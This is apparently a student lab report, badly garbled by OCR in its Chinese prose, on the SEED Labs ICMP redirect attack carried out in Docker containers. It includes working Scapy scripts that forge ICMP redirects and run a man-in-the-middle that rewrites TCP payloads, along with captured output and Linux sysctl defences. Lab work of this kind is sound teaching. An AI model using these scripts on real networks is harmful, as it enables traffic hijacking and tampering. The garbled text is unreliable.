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AAAAAAAA”, IEHI TCP AE A B AR ER 11



(Mzs) KBRS

| ] =)

ICMP EE[\] (ICMP Redirect) J& ICMP HRH A TR ES B2 A —RIHLA, 488 g
AR FEHLAT CAE B AR RE AR A IEEERT, SAxFENIALIE ICMP EHERTER, B EHE
Ho A1, X—RAH T MG CRRE, MR RS EHRA (MITM) %Ki, K
hE B IS ICMP EE AL, BB EVIRRE S ARG RESH, MMSSERE
EEE R, A STEmd e S 5 LR EES G 17X, IR ICMP =& MKt
AR, SEERT = B AL
« ZEICMP £ 2 R LAY M AL THERIE, @46 Type 5. Code 1 F FHE A9 H5/EA .
o F4EAEF Scapy )i AR ICMP Z € 6 8, 89 8 R, KA B3R M A £ AL | 36269 L 2.
« ANHEM Linux AN ICMP £ 2@ @699 2 JEM4H], €15 accept redirects #=
secure redirects ¥ WA H,

o BAEBRIREHIEER, FA—NZEGFRALESTE, FRIEX TCP @13 M 269 52 B
(35 & W

« M ICMP £ 2 3 E AR M%Iad (A5in42) To AR, EEzEE7T X8
& Rl R,

o 38 1T S B Ao IR X B L& TS AP A9 IAIR, BRI BGR IR AT AR R B R S A RS,

2 LIEIRIE
2.1 ICMP EEEVE¥H7

2.1.1 ICMP EERIRX L

ICMP EE A X2 ICMP VRSB Type 5 KIHE, HEMEE AN R FER:
« Type (KA): {AA 5, 2TZRILHANEEGIRL,
« Code (FR#): {4A4 0-3, HAEATARBNEL®mP . Code 1 T4 L E E G
(Redirect for Host), X R &% AKX F @)=,
« Gateway Address (B X3hb): 4 FF FH, 452 Z UL A MW X IP ik,
« Original IP Header + Data (J345 IP 3k3f + % 48): @5 AZ TR G RIEHIELYH
A8FT (IPk+8FHWHRM), ATHAEREBIZNEEAT B 6EHHF KA,

MR ERKE R, R EZEEE B ENAR S R —F M AR S — NS A
BERSENMIE, E2m&EERE— ICMP EEMHE, Flan, 4khgs R1 KEIkE
FHLH1 (RS, H1 ERIEFREZSEE—F AR S — NS R2 #4K, R1 2[M
H1 &3 ICMP EE M, 500 R2 2HEL N —Bk,

2.1.2 IEEHSETH ICMP EER

ICMP EEE [AIALHIEE TR 32 R o N 28 R i E 2R B0 B A M 1 A8, fEDA R,
ICMP EE A2 & HAY:
« IMBRGE BARKEHKER, KAKOBRBHE A,
s BB ARABHEB I RIZAAFRNERT—3 (FI—FHA),
s BAHBAQIMAZICMP T2 9, ST HBH.
c IMEHEIEZEAWAETAEEIRGE B H L.

2.2 G IRIRS R



2.2.1 HERESEMERE

Wi & FI A ICMP B E [ TR R O B BE AE TG W S B 7, 132 358 R IR RS O i

AIEE ML, HIdmEm T :

L AFEHFBAATEHRREGATRLHRXE L (T#id ARPRIZF FHER), EHF LI
T EH KA LA R B AR Z, IR L ICMP Echo Request 3 %38 TCP/UDP # 4., 3
HFHEUSAR AN T, M FXFAEZICMP EZma, ¥R 25 FELHH R T
BREBE, EXEFABETZELQO, CRLRHIRBRBEA, HELEREH BN
WO RBEOLHER LI EERLNTERRE, AHFFALTERAE LFRAEH A
FREIA AL, FIARZER. BATT EHSH

2.2.2 WG RIHBY X BSR4

ICMP EE M RER AT, BURT DA AR
- ABBELE: = EH net.ipvd.conf.all.accept redirects &L B (BRINAFRE), &
N A A%aEF PR ICMP £ 2 /&,
« MXAHiE: & net.ipvd.conf.all.secure redirects A3 (KiAAH 1), MAELT kA Y
MBEIANR XN T LML, LEZLMHEELFLR KL IP ik, REXFIZLERN,
o MR M: TEG B (icmpgw FH) LAAETELGARTHA, FNREEST
TEmE, TEHFLALFET ARP FKIIE MAC ik,

2.3 AR P

2.3.1 Linux %Y ICMP EE T E

MAIRERGN ICMP EHE A FEH L 2R, 7E Linux REEH, MHRXANRSEEE:
« net.ipv4.conf.all.accept redirects: #=#| 2 %% ICMP £ € 8 L, XK H AR T 2
A2 OE AL ICMP £ 2 19,
+ net.ipv4.conf.all.secure redirects: 4e £ B (BKIAA 1), M REL KA LATHIAR
K ER ML, X—MF T A L FHFHHEIER X uiTE 2@,
« net.ipv4.conf.all.send redirects: =42 HFE R ETE ML, EFARHBIBITH, %
i 7T By Ak AR S A A R E BT,

2.3.2 REMEZEIY
BT LEMEL, PANR2hnEE R A 2P ICMP € (At :
- A7 SHEE S A =S G net.ipv4.conf.default.accept redirects #=

net.ipv4.conf.all.accept redirects X E 4 0,

« &+ net.ipv4.conf.all.secure redirects 7F /& (BKINAA 1), HERETRATIER
XM E M.

. BAER% P ICMP Type 5 0, FEMH TR QA TRA P EALYLSKE.

3 SLIRIFIR

3.1 LBEFE
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B A A HFEmElE

1 22 AL ThinkPad T14 Gen4
TR % CachyOS (Linux kernel 6.19.11)

JE L3Rz | Docker Engine 24.x & Docker Compose

ST HE JR A /BB
Scapy A F Python3 &9 & % 3% 6 &b 32

£ 34u4% | SEED-Ubuntu 20.04 (handsonsecurity/seed-server)

3.2 &It 5 EE

A28 FH Docker Compose 15 2R R R RE A48 AR, B SR R B S b, <K
MM S AR A e W (Attacker), 32 FEHE (Victim), EEFEHES (Malicious
Router), &iEM>X (Gateway/Router) PAK HFRFEHL (Target Host), IXLEfAEIEIT Docker &
ASEI, M ERE RS AN N AL E AU, TR OR SE g0 A S REMn S MR I 28 I

A gh@s7aHakureiShrine ~ took 5m9s

> docker ps 2026-04-08 Wednesday 10:35:32
CONTAINER ID IMAGE COMMAND CREATED STATUS NAMES

c6fdblbe5230  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago Up 13 hours malicious-router-10.9.0.111

c8474c6e8da5  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago Up 13 hours 16ea93c55b52_attacker-10.9.0.10
5]

8d7f9b76f127  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago Up 13 hours host-192.168.60.6

7eede7e2fcee  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago  Up 13 hours victim-10.9.0.5

5b54cdf30795  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago Up 13 hours host-192.168.60.5

a0114a5a480b  handsonsecurity/seed-ubuntu:large "bash -c ' ip route ." 13 hours ago Up 13 hours router

Figure 1: 4 ] Docker Compose 3/ & 89 SE ISR KE, BT T & A BN MR E 5247 KA

IMAE IP 3o ht RS
Attacker (3 FH#) 10.9.0.105 AA ICMP # & & X EHeghL s
Victim (&%) 10.9.0.5 W09 B AR AL

Malicious Router 10.9.0.111 HEFEER G PR AT L
Gateway/Router 10.9.0.11 M 25 69 BRIN M X
Target Host 192.168.60.5 L EH KB B B A

4 LSRRG

4.11E% 1 &2 iIcMP EERKE

4.1.1 EHEHFEIgT

N PRI ICMP BEE [A1BC i, BT ZAE AL 18 BUE MR SO R REMSIE IS 52 &
AT PARZAR S o Sy SR SR FH MR- fid A A5 SN MW 32 3 38 R A B R B i i, — BT
FINEREAE G, SZRIE IR IXNER ICMP BE M, XA 77 LR TE TR ANE 2 F
HHIERMEFET N, B BA SRR,
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(M s) RIHRE

4.1.2 1XE332ER
PAR 2 Scapy SKERHY ICMP B A A taskl. py. AR OB RRIRZ EE
f) ICMP Echo Request, 2R/ AR By RIEMIEMEE A, KiiEs | F2ERERK B,

#!/usr/bin/python3
from scapy.all import *

# MEmE

victim ip = '10.9.0.5' # mE IP ik
target ip = '192.168.60.5"' # B4r=# IP (smEx)
gateway ip = '10.9.0.11° # maemr IP
malicious router = '10.9.0.111"' # =m&zsezs IP

def send redirect(pkt):

ENE & Wk ZEHY Echo Request &,

Pt ICMP mame

if ICMP in pkt and pkt[ICMP].type == 8: # ICMP Echo Request
# twxshm ICMP mmamIRK
# LA S 15 e S A KR AR
ip = IP(src=gateway ip, dst=victim ip)
icmp = ICMP(type=5, code=1) # Type 5, Code 1 = =#EmxRm
icmp.gw = malicious router  # 3Fssesraymsitak

# AR IO A AR TSR A Y RS KR
# =2 RFC #oaERey, AFiLBKERESHIE
redirect pkt = ip/icmp/pkt[IP]

send(redirect pkt, iface='eth0', verbose=False)
print(f"[+] &m {victim ip} %% ICMP mxme, 3=
{malicious router}")

# TR, morEmEas sy ICMP &
sniff(iface="'eth0', filter=f"icmp and src {victim ip}", prn=send redirect)

4.1.3 £ERIEE

SKRAZIR LA TP BT B AR T RUBAT taskl.py BIA; ARISTEZEE T RHIUT
ping 192.168.60.5 Ml FSWIEL ICMP J815; H/FIEIT tepdump FEZFHMHMIREEAE, K
B2 ),

PANRAERZ FH RS EIRY tepdump fiZREE R :

# Victim mssz=ey ICMP mmme
03:32:37.658708 IP 10.9.0.11 > 10.9.0.5: ICMP redirect 192.168.60.5
to host 10.9.0.111, length 36

HERBINAERE, EEZFELENHRE%RS, RIERBHZSCHERK:
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# BEKIE B AFEVEY BB SR

$ ip route get 192.168.60.5

192.168.60.5 via 10.9.0.111 dev eth® src 10.9.0.5
cache <redirected>

it &5 R B 7R “cache <redirected>", FAAMEHRAFCOMWRINMER, HFL2ATF 192.168.60.5
FEE R 10.9.0.111 CEEBHEY) &, MARRGRIEIAMK 10.9.0.11,

4.1.4 15 1 AER R
i1 REA KR o i Ea LS ?

B TEE, ICMP EEMIEK icmp. gw FEFEE M 1P HIME A ITE 2 FHH AR T A, iX
REANEER G, ZEEFEIED ARP HFREUZ 1P HIlEX M AT MAC ik, PAEIE IR
MM T — B &, WRFEAIZHE 1P, ZFEFH WK ICIRIEIL ARP JREUL MAC Hislk Gtz 1P A
TEFR—) #18), NS EZEZIKIIEEE M,

P 2 GELS L BRI N A TERIHLES?

B FRERTPL, Y2 EEFEREZ TIERAFEIPNEEMG, BE2=AM% IP &% ARP
WERe % 1P HSEATFELE, ARPIEREGTCMN, 5235 HEHRE B RITCTEMT MAC Hisik
WEFR B DoS ), [HAE K EE #—Thi& ARP MK, KATEER 1P 40 E 2 &
1 MAC Hilik, RERIRGEREIR,

A 3: RS HZE send_redirects BEEIIVERRIH4?

% net.ipv4.conf.all.send redirects M ANITEE N Hasfe R BRGNS, 2815
MREE &M ICMP EEME, EHRAKREZRF, RITREGERBISRERER R,
IR EEN 0, B BER e EREIMEE MR EG, XIns2EE K <ed E M &g
(K ER A HIEM ), SFEOLLEERTERTLIER,

42 153 2: i A (MITM) ESHREER

4.21 WEH R

ICMP MBI EENRET | SEEEREMNE, BRINFEAEER B B
fitA R A idi, AMESH B ER R IR EFRIR, SCiEMN TCP @S FRIBURNE, PUER
ek BRSO

4.2.2 {XH33C1

DA 2H R ASGERIA mitm attack.py FIRCMRIS, IAEEESZ T35 &3 HirIRSS 2800
TCP i, R IBURFITEH seedlabs N AAAAAAAA, ATE R EG IETE BLEL &
20
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N

#!/usr/bin/python3
from scapy.all import *

def spoof pkt(pkt):

EE SR RAMAF R KT BAFR S50 TCP #kiza

# "mEEaFEM 192.168.60.5 & TCP #%ize

if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
# SRIBZENRLIRIB O, BFRISERILLIRK
newpkt = IP(bytes(pkt[IP]))

# A AT S, SR ENITIE
del (newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)

# 4B R T H TR
if pkt[TCP].payload:
data = pkt[TCP].payload.load

# MIKKIBAS . BRASTTF R IR
newdata = data.replace(b'seedlabs', b'AAAAAAAA')

# HAERKISHHIRIBE

send (newpkt/newdata, verbose=False)

print(f"[+] =3xmsige: {pkt[IP].src}:{pkt[TCP].sport} ->
{pkt[IP].dst}:{pkt[TCP].dport}")

# BT REEKEEFENE TCP &
sniff(iface='eth0', filter=f"tcp and src 10.9.0.5 and dst 192.168.60.5",
prn=spoof pkt)

4.2.3 L5 RIEE

I TZ IR DA BB T LEHARHL (192.168.60.5) JE 3/ neteat HEWTARSS nc -1p 9090; 1E3Z
EHENL (10.9.0.5) A netcat IERZEFH ZIXE U ZHBURIE R AR hello seedlabs; WMEHIRLEE
RIS, JIEESOR &Y

# BiRVURKEIE NS (SRIEK)
hello AAAAAAAA

LILERARA, PRI RIS B T HE LA TCP i, JEIAHEA hello

seedlabs 7F HRARSS 28t B A hello AAAAAAAA, BEURRFATERHRSE 2 L, IXHIF T ICMP &
EMBGEEC AR RIASOR,  BEGERT 4% 815 A EE S22 1 8 B S ST

10
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hello AAAAAAAA

MITM script starting on malicious-router...
Original data: b'hello seedlabs\n'
Original data: b'hello AAAAAAAA\nN'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\N'
Original data: b'hello AAAAAAAA\nN'
Original data: b'hello AAAAAAAA\N'

Figure 2: MITM 35 m& 5 : ¢ F H K49 “hello seedlabs” /£ /R 4-3## £ 7 # “hello
AAAAAAAA®, EH TCP & MR LA R B &

(o gl e i o i« i o B o i « S « S o B o B« B o B o B o o B = 2 o 3

4.2.4 1E53 2 (@R
MRS 4: R 2R TR AN T R ?

& ROy TCP WX, B ARG asH R RIS TR E A BUREE (EsR
T, amsE), MRSSAsEIZa 7 P m A ROE H A S BT EE AL BRI, R
R ARSI S BN H o B PIE REREARIAA S 2, o ERI B b iy 7 0 7 S 25 17
I (BdifiA &k MR )G XA E O,  EARTCRRTER) .

Ml 5: RSP AR 1P Hihbid i MAC Hiht B 47?

& ERE ARG R MAC i3 47, RALET: & T REShid 1P ik, 40
SRAFEF 1P IR (W src host 10.9.0.5), IR AIRESIR MG E B A HIEEER (KH
BB M el e AR FEAYIR 1P), SEOXLEBHERIFIRHFER, BRI, i MAC
HE (W ether src 00:00:00:00:00:05) A DUEHIX 2 EdE G HERIE, KWK EHER MAC
ik 52 FHH ) MAC Hi3A5RANIE],  MNTTE R50kE 50 2 4 L EHR AR 1 TRl

5 LB

5.1 AEBL

B AR ICMP EE A SR, ARG SIRISLER 12k T W28 IR TR 2 o5 777l
R, BARBGRRTIEG LU LA 751

£ ICMP MM, FIRAFME T Type 5 BE FHRSCAVEEHE S TAEFEE, ICMP HiE A
JEUA TR 6 R s FH T8 R AL AL F B AR A 2 FRAL, (HIGE 3 m] M R AR BOR B B
R, DERR S iR . X —ROTRZIIA T M4 B SRR R A2 2R R
ORI B RIRFTE 2 5F #2E e, EEBRERSE I — i RAL,

FER LR, TRER TEM Scapy MIBEMIAIXMNIE ICMP EEMBERIEATTE. &
I NRAR- A, B IR RES A SENRIR S B MR e L AR EE M E, BAREIIRE

11
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MRS, BRI, JEISESS 2 BRI A GESRRE, Fg T i E B B AR BBk
ARG, BoER, ERITERRMNHLIE, Scapy TRALIITIMES MR H1FIX— IS FEAE X &
R

TERFALZEZEM, ZERIMRTEHXN Linux ANZZEHLHIFIINR, accept redirects F
secure redirects FRZSECH ARG T Fi1H ICMP EE MK EMIEE T, secure redirects
AT U ESTEE— RS2 R B SR M R EE [, XERAEE LS
il T PIE W B i B i, IXTERBATTESL IR R Gticdtdr, NIEEX 2 2GR NS EE
WE, NE5 K2 2INEZED,

FEB T RBRE Z ], SRIF BN 7 ICMP € IR 73E A S TE WA A, %K
POER T AT MBI R A, BERZFE IO E EE AHREAZIEDT, X THCE RAFHY
ARG KM accept_redirects), MISBAMELAZA, HAh, M DURMPASGAHE HE AL =
SRS, RSBt RIRAHREIER CRIHURYE MAC R¥e%, TaE %),

5.2 IS RENE

AU LTI AN, S22 4 AR ELSCBR 1 (B0 —IREE 7., A i
12, HO RIS ke

S, RIHIRHE ZHIELFT DR 2 BRI 45 22 2B BHRE, TESESRRT, PO ICMP EE (AR
AU B AR — MR AN B R . I8 2R A IE B R B M RAT N, A
HIEPRfR 7 BRI SCR EED  BU & SCE TR, DAR W SR E A L7 I A IX — 2 SRR
AR, XA BRI SLERAIRE AR, 2 IR & 2% STk LU Y,

B, REREEME R ML 2k ER T, ICMP & E FALH] % B8 E 2
PE A /N 0 245 ) 6 ER R R B — 58 R 1 0 e o o 3 R SR S b R A e IS
 secure redirects HIFIANIERN T EX— @AM 52 2 M 2 MBS P, IXIEBINRE], M
g 2 TR ODEE AN B AN Z 2 5 S8 BT Z Al 3k —, TR AE A 352 1 KU /K-
T, NEFEAGRE SR,

F=, SFLREREATRMEEEENRS A, EES 1 RS, “BEAREmMEEHE
E MIEZARNL 2R IX — R, BB wIARAE B0t A& n] DA, (Hidd SEE 30 UE 2 B A AT DA, 1X—
FRIEBIRZINIRE . WM P IAT IO SR AU IS S B RS ARG UE, AT T A8 XY SR HEII#T A] BE
fMEEME, RARFMEER, AR IEHERMIGEIENE— N,

S0, 2R TR AR R AR T, Docker Compose AR R SL ISR it T AR
FRESIAER, 1S3RA 1] AEEAR NN ZE T L T, B SRR, XfE Rt
LRI R ARSI EFINIR S, BN 22 25 B AT RO SCER IR S,

JREBEAR, ARREENRGE S HE /RIS B EER (W ARP HiJW. DNS #i#,
SSLstrip &) BE7E T F:Al, ik ML= AZ X —2RE T EIRINR 20, M@ 4Tt
NE B DEOURVNOIEOTHRE, #RIREERE = N OB,

12
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